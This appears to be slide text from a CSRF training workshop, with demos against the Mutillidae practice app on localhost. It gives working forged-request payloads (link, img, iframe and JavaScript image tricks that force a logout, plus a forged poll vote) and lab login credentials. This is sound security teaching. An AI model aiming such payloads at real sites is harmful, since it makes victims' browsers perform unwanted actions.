CSRF Attack Cycle


CSRF AKA. XSRF


 The attacker exploits the trust a website has against a user’s browser.


  •  Permission faking\stealing
  •  Disruption of the normal sequence of the site

Demo #1

Login ID - admin

password - adminpass


HTTP GET Request

http://127.0.0.1/xampp/mutillidae/index.php?do=logout

: Answer  Demo 1:


<html>
<title> CSRF Demo 1 </title>

<a href=http://127.0.0.1/xampp/mutillidae/index.php?do=logout>

Click me </a>
</html>

Understanding


  • Logout page has a simple HTTP GET that required no confirmation


  • Every user who visited that page would immediately be logged out - that's CSRF in action.


Yes it's not dangerous but annoying


So what do you think,

it's all about Click ?


ssh, No!!


Would you like to write CSRF exploit without click ??


CSRF GET Request with Image Tag


<html>
<title> CSRF Demo 1 </title>

<img src=http://127.0.0.1/xampp/mutillidae/index.php?do=logout>

</html>

HTTP Request


<iframe src="http://127.0.0.1/xampp/mutillidae/index.php?do=logout"></iframe>



          <script> var X= new Image();           
                                   X.src= "http://127.0.0.1/xampp/mutillidae/index.php?do=logout";                

</script>

Challenge  #1

:: Solution #1 ::

<html>

<title> CSRF Demo 1 </title>

<a href =http://127.0.0.1/xampp/mutillidae/index.php?page=user-poll.php&csrf-token=&choice=nmap&initials=n&user-poll-php-submit-button=Submit+Vote>
Click me </a>

Does it easy to create CSRF HTTP request ?

No - you should try out

* One Click POC *

* Hybrid automation *


thanks a ton to Lava & Jayesh 



Challenge  #2


{ Post HTTP Request }

Challenge  #3


Add user with out admin knowledge

Live Challenge


* Signup disabled *

You've been CSRF'd with static token! 

Can we exploit this with Level #2 ?

Lets try with Level - 3


There is no silver bullet to stop this - Just Trust your code
